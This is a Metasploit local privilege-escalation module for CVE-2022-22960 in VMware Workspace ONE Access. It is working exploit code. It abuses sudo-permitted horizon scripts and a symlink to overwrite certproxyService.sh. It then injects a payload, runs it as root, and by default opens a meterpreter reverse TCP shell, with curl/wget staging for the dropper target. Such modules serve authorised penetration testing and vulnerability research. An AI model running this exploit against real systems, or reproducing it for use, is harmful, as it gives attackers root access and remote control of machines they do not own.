##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
  Rank = GoodRanking

  include Msf::Exploit::EXE
  include Msf::Post::File
  include Msf::Post::Unix
  include Msf::Exploit::FileDropper
  prepend Msf::Exploit::Remote::AutoCheck

  TARGET_FILE = '/opt/vmware/certproxy/bin/certproxyService.sh'.freeze

  def initialize(info = {})
    super(
      update_info(
        info,
        {
          'Name' => 'VMware Workspace ONE Access CVE-2022-22960',
          'Description' => %q{
            This module exploits CVE-2022-22960 which allows the user to overwrite the permissions of the
            certproxyService.sh script so that it can be modified by the horizon user. This allows a local attacker with
            the uid 1001 to escalate their privileges to root access.
          },
          'License' => MSF_LICENSE,
          'Author' => [
            'mr_me', # Discovery & PoC
            'jheysel-r7' # Metasploit Module
          ],
          'Platform' => [ 'linux', 'unix' ],
          'Arch' => [ ARCH_CMD, ARCH_X86, ARCH_X64 ],
          'SessionTypes' => ['shell', 'meterpreter'],
          'Targets' => [
            [
              'Unix Command',
              {
                'Platform' => 'unix',
                'Arch' => ARCH_CMD,
                'Type' => :unix_cmd,
                'DefaultOptions' => {
                  'PAYLOAD' => 'cmd/unix/python/meterpreter/reverse_tcp'
                }
              }
            ],
            [
              'Linux Dropper',
              {
                'Platform' => 'linux',
                'Arch' => [ARCH_X64],
                'Type' => :linux_dropper,
                'CmdStagerFlavor' => %i[curl wget],
                'DefaultOptions' => {
                  'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp'
                }
              }
            ]
          ],
          'Privileged' => true,
          'DefaultTarget' => 0,
          'References' => [
            [ 'CVE', '2022-22960' ],
            ['URL', 'https://srcincite.io/blog/2022/08/11/i-am-whoever-i-say-i-am-infiltrating-vmware-workspace-one-access-using-a-0-click-exploit.html#dbconnectioncheckcontroller-dbcheck-jdbc-injection-remote-code-execution'],
            ['URL', 'https://github.com/sourceincite/hekate/'],
            ['URL', 'https://www.vmware.com/security/advisories/VMSA-2022-0011.html']
          ],
          'DisclosureDate' => '2022-04-06',
          'Notes' => {
            # We're corrupting certproxyService.sh, if restoring the contents fails it won't work.
            'Stability' => [CRASH_SAFE],
            'Reliability' => [REPEATABLE_SESSION],
            'SideEffects' => [ARTIFACTS_ON_DISK]
          }
        }
      )
    )
    register_advanced_options [
      OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ])
    ]
  end

  def lpe_trigger(execute_payload)
    cert_filename = Rex::Text.rand_text_alpha(4..12)
    file_contents = <<~EOF
      #!/bin/bash
      cp #{TARGET_FILE} #{datastore['WritableDir']}/#{@certproxy_backup}
      sudo /usr/local/horizon/scripts/publishCaCert.hzn #{TARGET_FILE} #{cert_filename}
      mkdir #{cert_filename}
      ln -s #{TARGET_FILE} #{cert_filename}/debugConfig.txt
      sudo /usr/local/horizon/scripts/gatherConfig.hzn #{cert_filename}
      rm -rf #{cert_filename}
      chmod 755 #{TARGET_FILE}
      echo "mv /etc/ssl/certs/#{cert_filename} #{TARGET_FILE}" > #{TARGET_FILE}
      echo "chown root:root #{TARGET_FILE}" >> #{TARGET_FILE}
      echo "chmod 640 #{TARGET_FILE}" >> #{TARGET_FILE}
      echo "#{execute_payload}" >> #{TARGET_FILE}
      echo "mv #{datastore['WritableDir']}/#{@certproxy_backup} #{TARGET_FILE} && chmod 500 #{TARGET_FILE} && chown root:root #{TARGET_FILE}" >> #{TARGET_FILE}#{' '}
      sudo #{TARGET_FILE}
    EOF
    file_contents
  end

  def check
    unless whoami == 'horizon'
      return CheckCode::Safe('Not running as the horizon user.')
    end

    test = cmd_exec("sudo #{TARGET_FILE}")
    unless test.include? 'basename: missing operand'
      CheckCode::Safe
    end

    CheckCode::Appears('vulnerable')
  end

  def exploit
    @certproxy_backup = Rex::Text.rand_text_alpha(4..12)
    payload_filename = Rex::Text.rand_text_alpha(4..12) + '.sh'
    trigger_filename = Rex::Text.rand_text_alpha(4..12) + '.sh'

    case target['Type']
    when :unix_cmd
      execute_payload = payload.encoded
    when :linux_dropper
      payload_path = "#{datastore['WritableDir']}/#{payload_filename}"
      upload_and_chmodx(payload_path, generate_payload_exe)
      execute_payload = "#{datastore['WritableDir']}/#{payload_filename}"
      register_file_for_cleanup(payload_path)
    else
      fail_with(Failure::BadConfig, 'Invalid target specified')
    end

    lpe_trigger_data = lpe_trigger(execute_payload)

    upload_and_chmodx("#{datastore['WritableDir']}/#{trigger_filename}", lpe_trigger_data)
    register_file_for_cleanup("#{datastore['WritableDir']}/#{trigger_filename}")

    print_status('Triggering the payload...')
    cmd_exec("cd #{datastore['WritableDir']}; ./#{trigger_filename}")
  end
end
